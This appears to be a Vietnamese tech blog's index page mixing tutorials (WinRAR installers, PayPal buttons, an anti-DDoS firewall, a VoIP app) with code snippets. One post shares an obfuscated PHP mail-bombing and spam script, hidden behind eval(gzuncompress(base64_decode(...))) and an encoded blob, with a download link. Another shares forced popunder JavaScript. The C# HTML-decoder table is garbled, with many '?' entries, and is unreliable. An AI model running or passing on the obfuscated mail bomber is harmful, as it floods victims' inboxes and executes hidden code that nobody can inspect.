Bộ ảnh thiếu nữ Việt với áo dài đẹp

16:42 |
Em đẹp không cần son phấn...duyên thầm xinh...thật xinh....rất hiền
Không quần Jeans...giày cao gót...em chọn riêng mình em áo dài....duyên dáng....













Read more…

Hướng dẫn tạo file cài đặt đơn giản với WinRAR

16:33 |
Chào các bạn!
Trong bài viết này mình sẽ hướng dẫn các bạn tạo một file cài đặt đơn giản sử dụng chức năng tạo file nén tự bung của WinRAR. Qua bài viết này, các bạn có thể tự tạo một file cài đặt đối với những chương trình nhỏ hoặc đóng gói một phần mềm Portable chẳng hạn ^^

OK, chúng ta bắt đầu nhé!

* Nguyên liệu:
  • WinRAR: tất nhiên không thể thiếu, nếu bạn nào chưa có thì tải tại đây.
  • SFX Logo: nếu không có thì WinRAR sẽ tự chọn Logo mặc định (định dạng BMP). Các bạn có thể tải bộ Logo mình sưu tầm tại đây (password download: junookyo).
  • Icon: biểu tượng cho file cài đặt của bạn sau khi tạo xong (định dạng ICO). Các bạn có thể tìm và tải miễn phí tại đây.
* Đóng gói:
 Tại thư mục chứa các tệp tin mà bạn muốn đóng gói thành file cài đặt, ta chọn tất cả các file (Ctrl+A) > nhấn chuột phải > Add to archive...
01

Tiếp theo, tại thẻ General, ta đánh dấu (tích) vào Create SFX archive.
Tại mục Compression method, ta chọn Best (tốt nhất).
02

Ta chuyển qua thẻ Advanced và nhấn vào SFX options...
03

Khung Advanced SFX options sẽ hiện lên, tại thẻ General chúng ta sẽ thiết lập đường dẫn xả nén.
Trong ví dụ này mình sẽ chọn Create in "Program Files". Các bạn có thể chọn Create in the current folder (tạo trong thư mục hiện tại) nếu thích ^^
04

Ta chuyển qua thẻ Setup. Chúng ta sẽ nhập tên của file sẽ được chạy sau khi xả nén.
05

Ta chuyển tiếp qua thẻ Update. Ta đánh dấu vào Overwrite all files (ghi đè tất cả tệp tin).
Như vậy chúng ta sẽ tránh được Windows hiện thông báo hỏi có muốn ghi đè lên file cũ không!
06

Ta chuyển qua thẻ Text and icon. Tại đây chúng ta sẽ trang trí và ghi thêm thông tin khi người dùng mở file cài đặt. Trong phần Text to display in SFX window, bạn hoàn toàn có thể sử dụng HTML. Logo và icon thì các bạn chỉ việc nhấn Browse... và tìm tới nơi chứa các file logo và icon tương ứng đã chuẩn bị trước (trong phần Nguyên liệu ở đầu bài viết).
07


* Kết quả: đây là kết quả sau bài hướng dẫn trên:
08

* Video hướng dẫn: nếu vẫn chưa hiểu rõ phần nào trong bài hướng dẫn này. Các bạn có thể xem video hướng dẫn sau! ^^

Chúc các bạn thành công!

Read more…

Share Code Mở Popup Pro [1 IP/times-lần/day-ngày]

16:13 |
Code này sẽ bật popup theo IP

Mỗi IP chỉ bật popup 1 lần (tránh khó chịu cho khách)

Code:
function Set_Cookie(name, value, expires, path, domain, secure) {
var today = new Date();
today.setTime(today.getTime());

if (expires) {
expires = expires * 1000 * 60 * 60 * 12;
}
var expires_date = new Date(today.getTime() + (expires));

document.cookie = name + "=" + escape(value) +
((expires) ? ";expires=" + expires_date.toGMTString() : "") +
((path) ? ";path=" + path : "") +
((domain) ? ";domain=" + domain : "") +
((secure) ? ";secure" : "");
}

function Get_Cookie(name) {

var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) &&
(name != document.cookie.substring(0, name.length))) {
return null;
}
if (start == -1) return null;
var end = document.cookie.indexOf(";", len);
if (end == -1) end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}

function Delete_Cookie(name, path, domain) {
if (Get_Cookie(name)) document.cookie = name + "=" +
((path) ? ";path=" + path : "") +
((domain) ? ";domain=" + domain : "") +
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function popunder() {
if (Get_Cookie('vnsTraGopLT6')) {
return false;
} else {
Set_Cookie('vnsTraGopLT6', 'vnsTraGopLT PopUnder', '1', '/', '', '');
urls = ["http://soft2s.com"]
var url = urls[Math.floor(Math.random() * urls.length)]
params = 'width=' + screen.width;
params += ', height=' + screen.height;
params += ', top=0, left=0,scrollbars=yes'
params += ', fullscreen=yes';

pop = window.open(url, 'window', params).blur();
window.focus();
return false;
}
}
Hướng dẫn chi tiết thêm :

-- save đoạn code trên ra file popup.js
-- Upload lên host
-- Chèn vào temp
Chèn đoạn này vào Tem:

Read more…

Hướng dẫn tạo nút PayPal Donate (Quyên Góp) cho blog, web

16:10 |
Khi truy cập vào một số website bạn thường thấy trên web có nút Donate dùng để cho khách có nhu cầu quyên góp cho chủ website duy trì và phát triển web. Thường thì trường hợp có mạnh thường quân quyên góp là rất ích nhưng phải là không có. Để tạo được nút này, bạn cần phải có tài khoản PayPal Premier hoặc Business.
Các bước thực hiện
Tại giao diện tài khoản PayPal, bạn vào mục Merchant Services ở trên các tab.
Highslide JS

Tiếp tục chọn mục Donations ở dưới góc phải.
Highslide JS

Và bạn cần thực hiện 3 Step dưới đây để hoàn thành công việc
Step 1 Ở bước này bạn có một số lựa chọn như:
  - Use your own button image (dùng nút donate của riêng bạn)
  - Currency (loại tiền tệ)
  - Use my secure Merchant ID account (dùng ID của riêng account, bảo mật địa chỉ email).
  - Use my primary email address (công khai địa chỉ email).
Highslide JS

Step 2 Save button at paypal (Bước này lưu các tuỳ chọn của bạn ở bước trên).
Highslide JS
Step 3 Tuỳ chọn nâng cao
  - Can your customer add special instructions in a message to you? (bạn có thể điền 1 đoạn tin nhắn khi người khác quyên góp xong)
  - Take customers to this URL when they cancel their checkout (Điền địa chỉ khi khách huỷ bỏ cuộc quyên góp, có thể cho về địa chỉ trang chủ của bạn chẳng hạn http://thaiduong.info)
  - Take customers to this URL when they finish checkout (Địa chỉ khi khách thực hiện xong quyên góp )
Highslide JS

Highslide JS
khi đã hoàn thành xong các Step thì bạn click chọn Create Buntton hệ thống sẽ tự động tạo code cho bạn. Công việc còn lại là bạn chèn code đó vào vị trí thích hợp trên website của bạn và chờ mạnh thường quân đến quyên góp!
Highslide JS
Read more…

S.2.U Firewall System - Hệ thống tường lửa ẩn cho trang web

16:05 |
Hệ thống chống ddos hiệu quả dành cho website của bạn, khả năng chống botnet, flood, spam,... hạn chế tối đa từ các lượt tấn công! Nó chạy ngầm và phân tích tình hình, tùy biến cấu hình dễ dàng, phù hợp với mọi website.
Sau một thời gian ra mắt, hệ thống tường lửa của S.2.U đã có nhiều người sử dụng và gớp ý. Nay phiên bản 2.x ("Lungs of the website") bắt đầu share cho mọi người, với những cải tiến mới trong cách ngăn chặn và phát hiện Ddos.


Các tính năng của S.2.U Firewall System:
  • Chống các dạng tấn công mạng (ddos, spam, flood,..).
  • Gọn nhẹ, cấu hình và quản lý trực quan.
  • Chạy ngầm, không ảnh hưởng nhiều tới website.
  • Hai chế độ tường lửa đơn giản và chuyên nghiệp.
  • Phân tích tình trạng và tự động chuyển đổi chế độ phòng chống ddos.
  • Ngăn chặn với 2 lớp bảo vệ.
  • Cảnh báo trang bị chèn iframe và chống bị chèn iframe. (nếu host hỗ trợ auto_append_file trong htaccess)
  • Thiết lập thời gian bảo trì trong ngày.
  • Thử cấu hình tưởng lửa bằng công cụ S.2.U Ddos Flash Client.
  • Chặn nguồn ddos flash (domain, ip host, ip bot).
  • Hỗ trợ nhiều dạng website.
  • Mở khóa IP bằng captcha.
  • Hỗ trợ chạy full site, không cần include bất kì file nào. (nếu host hỗ trợ auto_prepend_file trong htaccess)
  • Chặn máy trong mạng LAN bằng Cookies.
  • Chặn các IP từ các nước khác.
  • Chế độ đăng nhập trước khi truy cập site.
  • Thông báo tình trạng firewall qua email.
  • Nhiều cấu hình tự thiết lập dễ dàng.
  • Và một số tính năng khác bạn có thể tham khảo ở trong trang Quản Lý Hệ Thống.
  • Hướng dẫn cài đặt:
    1. Download file nén .zip ở dưới bài viết.
    2. Xóa firewall cũ (nếu có). cần chmod thư mục 701 và file 604 để có thể xóa hoàn toàn.
    3. Giải nén và up lên thư mục chính của website cần bảo vệ. (Nếu file .htaccess trên host đã có thì copy nội dung file .htaccess vừa giải ghi thêm vào cuối nội dung file đã có trên host)
    4. Truy cập http://domain/S2U_Firewall/ và đăng nhập bằng mật khẩu mặc định: s2u
    5. Chạy "tối ưu" ở mục cấu hình -> chạy "kiểm tra" ở mục kiểm tra (nếu "Hỗ trợ AUTO_PREPEND_FILE" báo không tương thích thì bạn làm bước 7 ) để có cấu hình tốt nhất.
    6. Kiểm tra hoạt động của firewall bằng cách nhấn F5 liên tục ở website bạn, ip và logs sẽ được ghi trong trang quản lý ("Lấy thông tin" ở mục tình trạng). Nếu đã chắc chắn, bạn có thể thử thêm công cụS.2.U Ddos Flash Client trong mục công cụ.
    7. Nếu không thấy ip hay logs thì mở file index hoặc file global của website và include files2u_firewall_system.php vào. (xem thêm ở đây)
    Xem các hướng dẫn chi tiết khác ở forum hoặc facebook.
    Để S.2.U Firewall System ngày càng phát triển hơn, bạn vui lòng thông báo lỗi và những khuyết điểm cho Won nhé ;)
    Bạn có thể hỏi bất cứ câu hỏi nào về hệ thống này ở phần Liên Hệ hoặc gửi mail đếnwon.baria@gmail.com hoặc vào diễn đàn. Cám ơn!

    Download v2.7


Read more…

Phần mềm gọi điện qua Mỹ miễn phí

15:56 |

Chắc hẳn bạn sẽ rất ngạc nhiên vì làm sao mà có thể gọi điện miễn phí từ các nước sang Mỹ được?! Thông thường muốn gọi điện sang Mỹ bằng các dịch vụ viễn thông tại Việt Nam ( viettel, mobile, vinaghost....) thì cước cũng không phải là rẻ. Còn thực hiện các cuộc gọi quốc tế giá rẻ, dịch vụ có phí của Skype....thì cũng được. Nhưng miễn phí mà chất lượng tốt thì chỉ có ở WhistlePhone.
Bạn chỉ cần vào địa chỉ : http://whistlephone.com/whistles, sau đó tải phần mềm WhistlePhone,cài đặt và đăng ký một tài khoản miễn phí sau khi khởi động chương trình lần đầu tiên là bạn đã có ngay một số điện thoại do chương trình cung cấp. ( Số điện thoại này là số điện thoại bên Mỹ đó nhé).
Tiếp theo bạn nhập số người quen của bạn bên Mỹ và Alo "quên ngày tháng". ( Lưu ý là nhập số điện thoại bình thường, không cần thêm 001 như các cuộc gọi quốc tế từ VN sang US)


Lưu ý : 2 bang ở Mỹ không thực hiện được cuộc gọi miễn phí được đó là Hawaii và Alaska. Cái này đợi khi nào Whistle cập nhật hoặc giải thích. Nhưng với dịch vụ phải nói là có 1 không 2 thế này thì thật tuyệt để mọi người sử dụng rồi.
Nếu bạn muốn gọi sang nước khác thì whistle có tính phí ( xem bảng tính phí tại đây ), nhưng nhìn chung khá rẻ so với sử dụng dịch vụ gọi điện quốc tế của các nhà mạng ở VN. Mình đã thực hiện vài cuộc gọi cho người bạn ở Houston, chất lượng cuộc gọi phải nói là rất tốt, so với gọi từ Viettel sang đó thì whistlephone nhỉnh hơn.
Còn chờ gì nữa mà không sử dụng! Chúc các bạn sẽ tiết kiệm được thật nhiều chi phí khi gọi sang Mỹ. Và hãy cho ý kiến của mình khi sử dụng phần mềm nhé!

Read more…

Share code boom mail chuẩn

15:51 |
Mail spam thẳng vào Inbox - cứ yên tâm mà test
Code: 
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=39036;eval(gzuncompress(base64_decode('eNplj1mPgjAAhP8MSduIsSCihPDgfVvv62XDUQ5FwJZD+fWr2c1uNpuZp8nMl4xAMMbkJWy4cUIjKBBCvgIRMAsgvfCDkMJqVSDv4tvI9WjKofAzFSUsK0j/FytYU5H+In4vDa/MIju+JYxyDi2TU1X5cKgdOxTylKUMuoyazh+EJiMRRGnTodbePG3Xs/ZQY8Vi7PLp0n+2boPJVZ7XcUnyvnroVHZZULO7x7MSX0YNbyWFj9492RhABO1Ot9cfDEfjyXQ2X5Dlar3Z7vaH4+lsWrZDXc8PLtfwFsXJnfE0y4vHs8SSXFcaarOlVWoAIaTT3Azh7yGkfwLOM18j')));return;?>
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


link down: http://www.mediafire.com/?q6bvg9nqnvppqpj
Read more…

Bộ Video học lập trình Web với PHP, HTML, JAVASCRIPT

15:34 |
Read more…

Hàm xử lý các ký tự bị mã hóa khi xem Source HTML của trang web Viết bằng C#

15:18 |
Có những lúc cần xử lý thông tin trên các trang web, nhưng khi thực hiện request thì web server trả về các ký tự bị mã hóa như Á;o: Cha giam cầm, cưỡng hiếp và có 7 con với con g& . Với những trường hợp này mình có thể xử lý bằng các phần mềm như FrontPage để chuyển mã, ngoài ra chúng ta có thể viết 1 hàm để xử lý. Thuật toán thật ra rất đơn giản là chuyển mã thành các ký tự tương ứng giống như thuật toán trong bài viết 

Chi tiết hàm này như sau:




using System;
using System.Collections.Generic;
using System.Text;
using System.Collections;
namespace DaMi.Utilities
{
    public class clsGiaiMaCodeHtmlToVietNam
    {
        public static string DecodeHtml(string sCodedString)
        {
            StringBuilder sResult = new StringBuilder(sCodedString);
            ArrayList arlChuviet = new ArrayList();
            arlChuviet.AddRange(new string[2] { "Á", "Á" });
            arlChuviet.AddRange(new string[2] { "á", "á" });
            arlChuviet.AddRange(new string[2] { "À", "À" });
            arlChuviet.AddRange(new string[2] { "à", "à" });
            arlChuviet.AddRange(new string[2] { "Ã", "Ã" });
            arlChuviet.AddRange(new string[2] { "ã", "ã" });
            arlChuviet.AddRange(new string[2] { "?", "Ả" });
            arlChuviet.AddRange(new string[2] { "?", "ả" });
            arlChuviet.AddRange(new string[2] { "?", "Ạ" });
            arlChuviet.AddRange(new string[2] { "?", "ạ" });
            arlChuviet.AddRange(new string[2] { "Â", "Â" });
            arlChuviet.AddRange(new string[2] { "â", "â" });
            arlChuviet.AddRange(new string[2] { "?", "Ấ" });
            arlChuviet.AddRange(new string[2] { "?", "ấ" });
            arlChuviet.AddRange(new string[2] { "?", "Ầ" });
            arlChuviet.AddRange(new string[2] { "?", "ầ" });
            arlChuviet.AddRange(new string[2] { "?", "Ẫ" });
            arlChuviet.AddRange(new string[2] { "?", "ẫ" });
            arlChuviet.AddRange(new string[2] { "?", "Ẩ" });
            arlChuviet.AddRange(new string[2] { "?", "ẩ" });
            arlChuviet.AddRange(new string[2] { "?", "Ậ" });
            arlChuviet.AddRange(new string[2] { "?", "ậ" });
            arlChuviet.AddRange(new string[2] { "A", "Ă" });
            arlChuviet.AddRange(new string[2] { "a", "ă" });
            arlChuviet.AddRange(new string[2] { "?", "Ắ" });
            arlChuviet.AddRange(new string[2] { "?", "ắ" });
            arlChuviet.AddRange(new string[2] { "?", "Ằ" });
            arlChuviet.AddRange(new string[2] { "?", "ằ" });
            arlChuviet.AddRange(new string[2] { "?", "Ẵ" });
            arlChuviet.AddRange(new string[2] { "?", "ẵ" });
            arlChuviet.AddRange(new string[2] { "?", "Ẳ" });
            arlChuviet.AddRange(new string[2] { "?", "ẳ" });
            arlChuviet.AddRange(new string[2] { "?", "Ặ" });
            arlChuviet.AddRange(new string[2] { "?", "ặ" });
            arlChuviet.AddRange(new string[2] { "Ð", "Đ" });
            arlChuviet.AddRange(new string[2] { "d", "đ" });
            arlChuviet.AddRange(new string[2] { "É", "É" });
            arlChuviet.AddRange(new string[2] { "é", "é" });
            arlChuviet.AddRange(new string[2] { "È", "È" });
            arlChuviet.AddRange(new string[2] { "è", "è" });
            arlChuviet.AddRange(new string[2] { "?", "Ẽ" });
            arlChuviet.AddRange(new string[2] { "?", "ẽ" });
            arlChuviet.AddRange(new string[2] { "?", "Ẻ" });
            arlChuviet.AddRange(new string[2] { "?", "ẻ" });
            arlChuviet.AddRange(new string[2] { "?", "Ẹ" });
            arlChuviet.AddRange(new string[2] { "?", "ẹ" });
            arlChuviet.AddRange(new string[2] { "Ê", "Ê" });
            arlChuviet.AddRange(new string[2] { "ê", "ê" });
            arlChuviet.AddRange(new string[2] { "?", "Ế" });
            arlChuviet.AddRange(new string[2] { "?", "ế" });
            arlChuviet.AddRange(new string[2] { "?", "Ề" });
            arlChuviet.AddRange(new string[2] { "?", "ề" });
            arlChuviet.AddRange(new string[2] { "?", "Ễ" });
            arlChuviet.AddRange(new string[2] { "?", "ễ" });
            arlChuviet.AddRange(new string[2] { "?", "Ể" });
            arlChuviet.AddRange(new string[2] { "?", "ể" });
            arlChuviet.AddRange(new string[2] { "?", "Ệ" });
            arlChuviet.AddRange(new string[2] { "?", "ệ" });
            arlChuviet.AddRange(new string[2] { "Í", "Í" });
            arlChuviet.AddRange(new string[2] { "í", "í" });
            arlChuviet.AddRange(new string[2] { "Ì", "Ì" });
            arlChuviet.AddRange(new string[2] { "ì", "ì" });
            arlChuviet.AddRange(new string[2] { "I", "Ĩ" });
            arlChuviet.AddRange(new string[2] { "i", "ĩ" });
            arlChuviet.AddRange(new string[2] { "?", "Ỉ" });
            arlChuviet.AddRange(new string[2] { "?", "ỉ" });
            arlChuviet.AddRange(new string[2] { "?", "Ị" });
            arlChuviet.AddRange(new string[2] { "?", "ị" });
            arlChuviet.AddRange(new string[2] { "Ó", "Ó" });
            arlChuviet.AddRange(new string[2] { "ó", "ó" });
            arlChuviet.AddRange(new string[2] { "Ò", "Ò" });
            arlChuviet.AddRange(new string[2] { "ò", "ò" });
            arlChuviet.AddRange(new string[2] { "Õ", "Õ" });
            arlChuviet.AddRange(new string[2] { "õ", "õ" });
            arlChuviet.AddRange(new string[2] { "?", "Ỏ" });
            arlChuviet.AddRange(new string[2] { "?", "ỏ" });
            arlChuviet.AddRange(new string[2] { "?", "Ọ" });
            arlChuviet.AddRange(new string[2] { "?", "ọ" });
            arlChuviet.AddRange(new string[2] { "Ô", "Ô" });
            arlChuviet.AddRange(new string[2] { "ô", "ô" });
            arlChuviet.AddRange(new string[2] { "?", "Ố" });
            arlChuviet.AddRange(new string[2] { "?", "ố" });
            arlChuviet.AddRange(new string[2] { "?", "Ồ" });
            arlChuviet.AddRange(new string[2] { "?", "ồ" });
            arlChuviet.AddRange(new string[2] { "?", "Ỗ" });
            arlChuviet.AddRange(new string[2] { "?", "ỗ" });
            arlChuviet.AddRange(new string[2] { "?", "Ổ" });
            arlChuviet.AddRange(new string[2] { "?", "ổ" });
            arlChuviet.AddRange(new string[2] { "?", "Ộ" });
            arlChuviet.AddRange(new string[2] { "?", "ộ" });
            arlChuviet.AddRange(new string[2] { "O", "Ơ" });
            arlChuviet.AddRange(new string[2] { "o", "ơ" });
            arlChuviet.AddRange(new string[2] { "?", "Ớ" });
            arlChuviet.AddRange(new string[2] { "?", "ớ" });
            arlChuviet.AddRange(new string[2] { "?", "Ờ" });
            arlChuviet.AddRange(new string[2] { "?", "ờ" });
            arlChuviet.AddRange(new string[2] { "?", "Ỡ" });
            arlChuviet.AddRange(new string[2] { "?", "ỡ" });
            arlChuviet.AddRange(new string[2] { "?", "Ở" });
            arlChuviet.AddRange(new string[2] { "?", "ở" });
            arlChuviet.AddRange(new string[2] { "?", "Ợ" });
            arlChuviet.AddRange(new string[2] { "?", "ợ" });
            arlChuviet.AddRange(new string[2] { "Ú", "Ú" });
            arlChuviet.AddRange(new string[2] { "ú", "ú" });
            arlChuviet.AddRange(new string[2] { "Ù", "Ù" });
            arlChuviet.AddRange(new string[2] { "ù", "ù" });
            arlChuviet.AddRange(new string[2] { "U", "Ũ" });
            arlChuviet.AddRange(new string[2] { "u", "ũ" });
            arlChuviet.AddRange(new string[2] { "?", "Ủ" });
            arlChuviet.AddRange(new string[2] { "?", "ủ" });
            arlChuviet.AddRange(new string[2] { "?", "Ụ" });
            arlChuviet.AddRange(new string[2] { "?", "ụ" });
            arlChuviet.AddRange(new string[2] { "U", "Ư" });
            arlChuviet.AddRange(new string[2] { "u", "ư" });
            arlChuviet.AddRange(new string[2] { "?", "Ứ" });
            arlChuviet.AddRange(new string[2] { "?", "ứ" });
            arlChuviet.AddRange(new string[2] { "?", "Ừ" });
            arlChuviet.AddRange(new string[2] { "?", "ừ" });
            arlChuviet.AddRange(new string[2] { "?", "Ữ" });
            arlChuviet.AddRange(new string[2] { "?", "ữ" });
            arlChuviet.AddRange(new string[2] { "?", "Ử" });
            arlChuviet.AddRange(new string[2] { "?", "ử" });
            arlChuviet.AddRange(new string[2] { "?", "Ự" });
            arlChuviet.AddRange(new string[2] { "?", "ự" });
            arlChuviet.AddRange(new string[2] { "Ý", "Ý" });
            arlChuviet.AddRange(new string[2] { "ý", "ý" });
            arlChuviet.AddRange(new string[2] { "?", "Ỳ" });
            arlChuviet.AddRange(new string[2] { "?", "ỳ" });
            arlChuviet.AddRange(new string[2] { "?", "Ỹ" });
            arlChuviet.AddRange(new string[2] { "?", "ỹ" });
            arlChuviet.AddRange(new string[2] { "?", "Ỷ" });
            arlChuviet.AddRange(new string[2] { "?", "ỷ" });
            arlChuviet.AddRange(new string[2] { "?", "Ỵ" });
            arlChuviet.AddRange(new string[2] { "?", "ỵ" });
            int j;
            for (int i = 0; i < sCodedString.Length; i++)
            {
                string sTemp = string.Empty;

                bool isBegin = true;
                if (sCodedString[i] == '&' && sCodedString[i + 1] == '#')
                {
                    j = i;
                    while (j < sCodedString.Length && isBegin == true)
                    {
                        sTemp = sTemp + sCodedString[j].ToString();
                        if (sCodedString[j] == ';')
                        {
                            isBegin = false;
                        }
                        j++;
                    }
                    if (!string.IsNullOrEmpty(sTemp))
                    {
                        int index;
                        index = arlChuviet.IndexOf(sTemp, 0);
                        string sNewValue = arlChuviet[index - 1].ToString();
                        sResult.Replace(sTemp, sNewValue);

                    }
                }
            }
            return sResult.ToString();
        }
    }
}

Read more…